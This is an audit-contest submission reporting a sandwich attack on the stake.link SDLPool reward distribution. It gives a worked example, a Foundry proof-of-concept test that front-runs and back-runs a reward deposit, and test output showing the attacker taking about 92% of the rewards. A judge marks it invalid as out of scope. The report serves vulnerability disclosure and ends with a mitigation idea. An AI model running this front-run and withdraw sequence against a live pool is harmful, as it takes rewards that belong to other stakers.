stake.link

stake.link
DeFiHardhatBridge
27,500 USDC
View results
Submission Details
Severity: high
Invalid

Rewards Distribution Susceptible to Sandwich Attack

Summary

the SDLPool contract allows a malicious actor to perform a sandwich attack to gain immediate rewards by exploiting the timing of reward distribution transactions.

Vulnerability Details

The SDLPool contract's reward distribution mechanism it's susceptible to exploitation due to the way of reward calculations. There is a global rewardPerToken variable used to calculate the rewards for stakers and is updated (only increases) whenever new rewards are added to the pool via the distributeToken function. However, this mechanism allow A malicious actor to simply buy sdl tokens and stake right before the distributeToken function is called to immediately accrue a portion of rewards that were meant to be attributed to other stakers. The malicious actor can then immediately claim these rewards, unstake and sell thier sdl therefore stealing rewards from other stakers.

example :

  • assume we have 10 sdl tokens staked before for alice .. and the rewardPerToken is 1 r

  • bob observes a pending transaction that will trigger a reward distribution with 100 r .

  • bob sends 100 sdl token triggering onTokenTransfer to deposit and front-running the pending reward distribution transaction.

    • in this case bob userRewardPerTokenPaid will be 1 , and he got 0 r in rewards.

  • Once the distributeToken transaction is confirmed, rewardPerToken is updated to be : rewardPerToken += 100 / 110 ≈ 1.9 r.

  • bob immediately calls withdrawRewards to claim the rewards based on the updated rewardPerToken which will be :

    • staked * (rewardPerToken - userRewardPerTokenPaid[bob])

      100 * (1.9 - 1) = 90 r

  • bob then calls withdraw to remove their SDL tokens from the SdlPool.

This sequence of actions allowed bob to receive 90% of the rewards immediately, disadvantaging other stakers.

POC :

  • a foundry test with a min setup shows how bob sandwich the distribute reward tx to gain more then 90% of rewards.

//SPDX-License-Identifier: MIT
pragma solidity ^0.8.15;
import {Test} from "forge-std/Test.sol";
import {console} from "forge-std/console.sol";
import "../../contracts/core/sdlPool/SDLPoolPrimary.sol";
import "../../contracts/core/tokens/StakingAllowance.sol";
import "../../contracts/core/sdlPool/LinearBoostController.sol";
import "../../contracts/core/RewardsPool.sol";
import "../../contracts/core/tokens/base/ERC677.sol";
contract proxy {
address immutable private imple;
receive() external payable{}
constructor (address _implem) {
imple = _implem;
}
function implementation() public view returns(address) {
return imple;
}
fallback() external payable {
if (msg.data.length > 0){
address addr = implementation();
(bool ok ,) = addr.delegatecall(msg.data);
if(!ok) revert("failed");
assembly {
returndatacopy(0,0,returndatasize())
return(0,returndatasize())
}
}
}
}
contract sandwichPoc is Test {
SDLPoolPrimary p_pool;
proxy primaryPool;
StakingAllowance sdl;
LinearBoostController boostController;
RewardsPool r_pool;
ERC677 r_token = new ERC677("rewared token", "RT",100000 ether);
address alice = makeAddr("alice");
address bob = makeAddr("bob");
function setUp() public {
p_pool = new SDLPoolPrimary();// deploy the primary pool implementation
primaryPool = new proxy(address(p_pool)); // min proxy for primary pool
p_pool = SDLPoolPrimary(address(primaryPool));
// deploy the sdl token :
sdl = new StakingAllowance("sdl token","SDL");
boostController = new LinearBoostController(4 * 365 days, 4); // deploy the boostController
r_pool = new RewardsPool(address(p_pool),address(r_token)); // deploy the reward pool
p_pool.initialize("testing","tt",address(sdl), address(boostController)); // initialize the primary pool
p_pool.addToken(address(r_token),address(r_pool)); // add the token
p_pool.setCCIPController(address(this));// to avoid ccip acess controle errors
sdl.mint(bob, 120 ether);// mint sdl tokens to bob
sdl.mint(alice,10 ether);// mint sdl tokens to alice
vm.prank(alice);// alice is a normal staker, that deposit 10 tokens with a stake period .
sdl.transferAndCall(address(p_pool),10 ether,abi.encode(0,10 days));
}
function test_Poc() public {
// assume that some rewareds are sent to the pool to be distributed :
// bob will frontrun this to deposit sdl tokens :
frontrun();
r_token.transferAndCall(address(p_pool),10 ether,""); // distribute rewared ..
backrun();
// check balances after :
uint bob_reward = r_token.balanceOf(bob);
uint bob_sdlbalance = sdl.balanceOf(bob);
console.log("bob rewared after sandwich attack : ", bob_reward);
console.log("bob sdl balance after sandwich attack : ", bob_sdlbalance);
// calculate the percentage of the rewards bob took :
uint perc = bob_reward * 100 / 10 ether;
console.log("bob was able to steal " ,perc,"% of the rewared from alice " );
}
function frontrun() internal {
// stake sdl token:
vm.prank(bob);
sdl.transferAndCall(address(p_pool),120 ether,abi.encode(0,0));
}
function backrun() internal {
// withdraw rewared :
vm.startPrank(bob);
p_pool.withdrawRewards(p_pool.supportedTokens());
// withdraw sdl :
uint lockId = p_pool.lastLockId();
p_pool.withdraw(lockId,120 ether);
vm.stopPrank();
}
}
  • console after running test :

Running 1 test for test/foundry_t/setUp.t.sol:sandwichPoc
[PASS] test_Poc() (gas: 316360)
Logs:
bob rewared after sandwich attack : 9211356466876971600
bob sdl balance after sandwich attack : 120000000000000000000
bob was able to steal 92 % of the rewared from alice

Impact

  • This attack allows an actor to unfairly claim a portion of the rewards,that were meant to be attributed to other stakers. whitout actually staking sdl tokens

Tools Used

vs code
foundry
manual review

recommendations :

  • There are many approaches that can be taken in this case, and it depends on the team how to mitigate that. One example is adding a warmup period before the distributeToken function is called, where those who stake during this period will not accrue rewards.

Updates

Lead Judging Commences

0kage Lead Judge over 1 year ago
Submission Judgement Published
Invalidated
Reason: Out of scope
ElHaj Submitter
over 1 year ago
0kage Lead Judge
over 1 year ago
0kage Lead Judge over 1 year ago
Submission Judgement Published
Invalidated
Reason: Out of scope

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.